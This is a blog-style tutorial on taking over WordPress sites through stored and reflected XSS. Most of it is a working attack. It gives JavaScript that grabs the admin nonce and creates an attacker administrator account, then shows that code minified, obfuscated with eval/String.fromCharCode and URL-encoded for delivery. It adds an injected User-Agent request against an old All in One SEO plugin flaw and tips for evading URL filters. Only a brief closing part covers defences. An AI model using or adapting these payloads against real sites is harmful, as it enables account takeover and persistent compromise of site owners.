Hello!
XSS (or cross site scripting) attacks are a common method to maliciously execute actions against a website installation. In particular this type of attack vector is useful when dealing with a CMS like WordPress where you have administrative user accounts to target.
This means that if you are able to craft an XSS payload that will ultimately be executed by the administrator of that site, you can essentially do whatever you want. In javascript of course.
What I’ll go through in this post is exactly how to capitalize on a particular (old) WordPress plugin vulnerability to deliver a persistent XSS injection (not logged into WordPress) that will later be executed by someone logged into WordPress with higher privileges, such as an administrator.
Persistent versus Reflected XSS
This is debatable, but to simplify things it would be easiest to describe XSS attacks as being two high level methods : persistent (stored) and reflective. For full explanations as well as the subsidiary types of XSS attacks, you might want to read the OWASP Types of Cross Site Scripting information page.
A persistent XSS is essentially where you find a vector to store the malicious code on the server side, somehow. This is the most ideal vector because you dont necessarily have to craft a URL that could be caught by many different filtering and A/V systems before the victim will have a chance to execute. An example of a stored XSS attack would be a scenario where you are able to inject javascript into a log entry on the administrative side (as you will see in the real world example below). This means that alert(‘oh hai’); gets executed the next time someone views that log entry.
An example of a reflective XSS attack would be where you were able to inject javascript code in a search results page. If you were able to escape the input filters currently in place in WordPress to inject alert(‘oh hai’); so that it is displayed in the search results page, you could use this as a vector to entice a logged in administrator to maliciously execute code. Encoding a specially crafted URL with a URL shortening service would be one way to deliver this payload to an unsuspecting logged in administrator.
Another method of delivery in the reflective XSS scenario would be to basically make your own URL redirect / shortening system, which bypasses using a service like bit.ly where they already are filtering “suspicious” URLs from being shortened. Register a free no-ip.org or dyndns.com domain, point it to a server and 301 redirect incoming requests for the url to the payload URL. You can use nginx or apache to do this quite easily.
XSS Javascript code to create an admin user in WordPress
Before I get into how to exploit WordPress with reflective versus persistent XSS attacks, I’ll go through some simple Javascript code that, when executed by someone logged in as an admin, will obtain the nonce, and create a user account.
Get the WordPress NONCE in Javascript
As mentioned, we want to get the NONCE because we need to generate an HTTP post to create the user. The NONCE is a protection mechanism in WordPress, created for the very purpose of preventing what we are about to do.
var ajaxRequest = new XMLHttpRequest(); var requestURL = "/wp-admin/user-new.php"; var wp_nonceRegex = /ser" value="([^"]*?)"/g; wajaxRequest.open("GET", requestURL, false); ajaxRequest.send(); var nonceMatch = nonceRegex.exec(ajaxRequest.responseText); var nonce = nonceMatch[1];
All we are doing is generating a GET request to /wp-admin/user-new.php , using regex to parse the nonce value and storing it in a variable that we will use later, called “nonce”.
Create an admin user in WordPress with Javascript
The last part of this process is that we want to create an admin user in WordPress with whatever password we want, with whatever email we want. This user will have the same administrative capabilities as any WordPress admin user. Usually after this executes, the attacker’s next step would most likely be to upload a shell or backdoor so that they can ensure access moving forward and rely less on the javascript method of access as much as possible.
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=theattacker&email=theattacker@whatever.com&pass1=attackpass&pass2=attackpass&role=administrator"; ajaxRequest = new XMLHttpRequest(); ajaxRequest.open("POST", requestURL, true); ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ajaxRequest.send(params);
In the above snippet, all you really need to be concerned with is the first line of code that is being assigned to the “params” variable. We are creating a POST request string, using the nonce obtained earlier, and creating a username, password and email with the administrator role being assigned.
If you store this in a wordpress post and execute it, while logged in, you should see the user created when you navigate over to the users section. Try it and see!
Delivering the XSS in WordPress
No matter if you are exploiting a persistent or reflective XSS attack, the delivery is similar. We need to minify the above javascript code so that everything is all on one line , and then we need to encode it so it can be delivered safely in a URL.
Minify your XSS Javascript
To minify your code so its all on one line, you can use a wide assortment of tools. For this example, we used javascript-minifier.com :
var ajaxRequest=new XMLHttpRequest,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;ajaxRequest.open("GET",requestURL,!1),ajaxRequest.send();var nonceMatch=nonceRegex.exec(ajaxRequest.responseText),nonce=nonceMatch[1],params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";(ajaxRequest=new XMLHttpRequest).open("POST",requestURL,!0),ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),ajaxRequest.send(params);
Looks minimal, right? Its important to test the code on your own installation before taking these steps because its incredibly difficult to debug after its minified for obvious reasons!
Encode your minified XSS Javascript
Now that we’ve minified our code, we want to encode it so that it can be delivered in a URL and wont break your browser or generate an error before even executing.
We want to encode the javascript and then “eval” (execute) the encoded javascript. There’s a handy web based tool for encoding the javascript this way. When you’re done you’ll have something that looks like this :
eval(String.fromCharCode(118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110,99,101,82,101,103,101,120,61,47,115,101,114,34,32,118,97,108,117,101,61,34,40,91,94,34,93,42,63,41,34,47,103,59,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,71,69,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,49,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,41,59,118,97,114,32,110,111,110,99,101,77,97,116,99,104,61,110,111,110,99,101,82,101,103,101,120,46,101,120,101,99,40,97,106,97,120,82,101,113,117,101,115,116,46,114,101,115,112,111,110,115,101,84,101,120,116,41,44,110,111,110,99,101,61,110,111,110,99,101,77,97,116,99,104,91,49,93,44,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,97,116,116,97,99,107,101,114,38,101,109,97,105,108,61,97,116,116,97,99,107,101,114,64,115,105,116,101,46,99,111,109,38,112,97,115,115,49,61,97,116,116,97,99,107,101,114,38,112,97,115,115,50,61,97,116,116,97,99,107,101,114,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,40,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59))
Hard to discern whats going on now in the above snippet, right? Thats partly the point. Also important to sanitize your code and ensure it executes. But before you try the above snippet in a URL, you want to encode the characters to a URL friendly format. This means things like commas and brackets need to be converted to a format that the browser can process.
There is yet another website that makes this easier, providing a web based solution to encode any string and make it url-friendly. Once you convert the above snippet using this tool, you will have something like the following :
eval%28String.fromCharCode%28118%2C97%2C114%2C32%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C61%2C110%2C101%2C119%2C32%2C88%2C77%2C76%2C72%2C116%2C116%2C112%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C61%2C34%2C47%2C119%2C112%2C45%2C97%2C100%2C109%2C105%2C110%2C47%2C117%2C115%2C101%2C114%2C45%2C110%2C101%2C119%2C46%2C112%2C104%2C112%2C34%2C44%2C110%2C111%2C110%2C99%2C101%2C82%2C101%2C103%2C101%2C120%2C61%2C47%2C115%2C101%2C114%2C34%2C32%2C118%2C97%2C108%2C117%2C101%2C61%2C34%2C40%2C91%2C94%2C34%2C93%2C42%2C63%2C41%2C34%2C47%2C103%2C59%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C71%2C69%2C84%2C34%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C44%2C33%2C49%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C110%2C100%2C40%2C41%2C59%2C118%2C97%2C114%2C32%2C110%2C111%2C110%2C99%2C101%2C77%2C97%2C116%2C99%2C104%2C61%2C110%2C111%2C110%2C99%2C101%2C82%2C101%2C103%2C101%2C120%2C46%2C101%2C120%2C101%2C99%2C40%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C114%2C101%2C115%2C112%2C111%2C110%2C115%2C101%2C84%2C101%2C120%2C116%2C41%2C44%2C110%2C111%2C110%2C99%2C101%2C61%2C110%2C111%2C110%2C99%2C101%2C77%2C97%2C116%2C99%2C104%2C91%2C49%2C93%2C44%2C112%2C97%2C114%2C97%2C109%2C115%2C61%2C34%2C97%2C99%2C116%2C105%2C111%2C110%2C61%2C99%2C114%2C101%2C97%2C116%2C101%2C117%2C115%2C101%2C114%2C38%2C95%2C119%2C112%2C110%2C111%2C110%2C99%2C101%2C95%2C99%2C114%2C101%2C97%2C116%2C101%2C45%2C117%2C115%2C101%2C114%2C61%2C34%2C43%2C110%2C111%2C110%2C99%2C101%2C43%2C34%2C38%2C117%2C115%2C101%2C114%2C95%2C108%2C111%2C103%2C105%2C110%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C101%2C109%2C97%2C105%2C108%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C64%2C115%2C105%2C116%2C101%2C46%2C99%2C111%2C109%2C38%2C112%2C97%2C115%2C115%2C49%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C112%2C97%2C115%2C115%2C50%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C114%2C111%2C108%2C101%2C61%2C97%2C100%2C109%2C105%2C110%2C105%2C115%2C116%2C114%2C97%2C116%2C111%2C114%2C34%2C59%2C40%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C61%2C110%2C101%2C119%2C32%2C88%2C77%2C76%2C72%2C116%2C116%2C112%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C41%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C80%2C79%2C83%2C84%2C34%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C44%2C33%2C48%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C116%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C72%2C101%2C97%2C100%2C101%2C114%2C40%2C34%2C67%2C111%2C110%2C116%2C101%2C110%2C116%2C45%2C84%2C121%2C112%2C101%2C34%2C44%2C34%2C97%2C112%2C112%2C108%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C47%2C120%2C45%2C119%2C119%2C119%2C45%2C102%2C111%2C114%2C109%2C45%2C117%2C114%2C108%2C101%2C110%2C99%2C111%2C100%2C101%2C100%2C34%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C110%2C100%2C40%2C112%2C97%2C114%2C97%2C109%2C115%2C41%2C59%29%29
See the difference? Now if you were going to inject the code in search results (for example, if you can). You will want to append it to the url in a fashion similar to the following example :
http://yourdomain.com/?s=eval%28String.fromCharCode%28118%2C97%2C114%2C32%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C61%2C110%2C101%2C119%2C32%2C88%2C77%2C76%2C72%2C116%2C116%2C112%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C61%2C34%2C47%2C119%2C112%2C45%2C97%2C100%2C109%2C105%2C110%2C47%2C117%2C115%2C101%2C114%2C45%2C110%2C101%2C119%2C46%2C112%2C104%2C112%2C34%2C44%2C110%2C111%2C110%2C99%2C101%2C82%2C101%2C103%2C101%2C120%2C61%2C47%2C115%2C101%2C114%2C34%2C32%2C118%2C97%2C108%2C117%2C101%2C61%2C34%2C40%2C91%2C94%2C34%2C93%2C42%2C63%2C41%2C34%2C47%2C103%2C59%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C71%2C69%2C84%2C34%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C44%2C33%2C49%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C110%2C100%2C40%2C41%2C59%2C118%2C97%2C114%2C32%2C110%2C111%2C110%2C99%2C101%2C77%2C97%2C116%2C99%2C104%2C61%2C110%2C111%2C110%2C99%2C101%2C82%2C101%2C103%2C101%2C120%2C46%2C101%2C120%2C101%2C99%2C40%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C114%2C101%2C115%2C112%2C111%2C110%2C115%2C101%2C84%2C101%2C120%2C116%2C41%2C44%2C110%2C111%2C110%2C99%2C101%2C61%2C110%2C111%2C110%2C99%2C101%2C77%2C97%2C116%2C99%2C104%2C91%2C49%2C93%2C44%2C112%2C97%2C114%2C97%2C109%2C115%2C61%2C34%2C97%2C99%2C116%2C105%2C111%2C110%2C61%2C99%2C114%2C101%2C97%2C116%2C101%2C117%2C115%2C101%2C114%2C38%2C95%2C119%2C112%2C110%2C111%2C110%2C99%2C101%2C95%2C99%2C114%2C101%2C97%2C116%2C101%2C45%2C117%2C115%2C101%2C114%2C61%2C34%2C43%2C110%2C111%2C110%2C99%2C101%2C43%2C34%2C38%2C117%2C115%2C101%2C114%2C95%2C108%2C111%2C103%2C105%2C110%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C101%2C109%2C97%2C105%2C108%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C64%2C115%2C105%2C116%2C101%2C46%2C99%2C111%2C109%2C38%2C112%2C97%2C115%2C115%2C49%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C112%2C97%2C115%2C115%2C50%2C61%2C97%2C116%2C116%2C97%2C99%2C107%2C101%2C114%2C38%2C114%2C111%2C108%2C101%2C61%2C97%2C100%2C109%2C105%2C110%2C105%2C115%2C116%2C114%2C97%2C116%2C111%2C114%2C34%2C59%2C40%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C61%2C110%2C101%2C119%2C32%2C88%2C77%2C76%2C72%2C116%2C116%2C112%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C41%2C46%2C111%2C112%2C101%2C110%2C40%2C34%2C80%2C79%2C83%2C84%2C34%2C44%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C85%2C82%2C76%2C44%2C33%2C48%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C116%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C72%2C101%2C97%2C100%2C101%2C114%2C40%2C34%2C67%2C111%2C110%2C116%2C101%2C110%2C116%2C45%2C84%2C121%2C112%2C101%2C34%2C44%2C34%2C97%2C112%2C112%2C108%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C47%2C120%2C45%2C119%2C119%2C119%2C45%2C102%2C111%2C114%2C109%2C45%2C117%2C114%2C108%2C101%2C110%2C99%2C111%2C100%2C101%2C100%2C34%2C41%2C44%2C97%2C106%2C97%2C120%2C82%2C101%2C113%2C117%2C101%2C115%2C116%2C46%2C115%2C101%2C110%2C100%2C40%2C112%2C97%2C114%2C97%2C109%2C115%2C41%2C59%29%29
If the above is added as a value to a vulnerable GET or POST variable, then the code will either be executed on the page when the URL is loaded (Reflective) or executed when the page with the code is executed (stored).
Real world example of XSS with a vulnerable WordPress plugin
If you follow things like WPScan’s vulnerability database you will occasionally see notifications for XSS vulnerabilities. These things happen all the time and are unfortunately the byproduct of an open source community with hundreds of thousands of 3rd party plugins developed by all sorts of resources. Many within the 3rd party plugin community do not audit their code and/or dont expend a significant amount of resources for security audits in general. This obviously isn’t limited to WordPress, but in the context of this post, is a significant problem.
One vulnerability in particular was with a plugin called All in one SEO. The vulnerability allowed an anonymous visitor inject stored XSS javascript code that could be executed inadvertantly by a WordPress administrator.
The vulnerability allowed code to be injected in a logging area within the All in on SEO administration area that tracks bad bots (“track blocked bots setting”). When a logged in administrator views this log page, the XSS code illustrated above executes and an admin user is created!
Where this differs from the examples illustrated earlier in this post, is the Javascript code is injected by modifying the User-Agent header field of the request to the homepage. This can be accomplished by using a tool like Tamper Data on Firefox or Chrome (or Tor). In the request for the homepage, you simply alter the User-Agent field to contain the payload :
GET / HTTP/1.1 Host: 100.100.100.100 User-Agent: Abonti <\/pre>#PUT YOUR JAVASCRIPT HERE# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://100.100.100.100/<\/pre>#PUT YOUR JAVASCRIPT HERE# Connection: close Cache-Control: max-age=0
Makes sense right? Hopefully this overview gives you a better idea of how XSS against WordPress in particular works. There are many ways to prevent these types of attacks. I would resist encouraging people to install WordPress security plugins like WordFence.
Instead I would recommend investigating security conscious web hosting solutions that implement a WAF (web application firewall) in conjunction with the web services. If you manage your own environment, you could investigate the implementation of Naxsi for Nginx or ModSecurity for Apache.
Another solution that would at least prevent new users from being created would be to potentially wrap the entire administration area in HTTP authentication. This is something that an attacker wouldn’t be able to easily bypass because they would need the username and password to submit POST variables via an XSS attack. This can be done with an .htaccess file or nginx configuration.
Of course, no solution will offer 100% protection but a solid WAF will definitely be more effective. That and always keeping your plugins up to date, of course!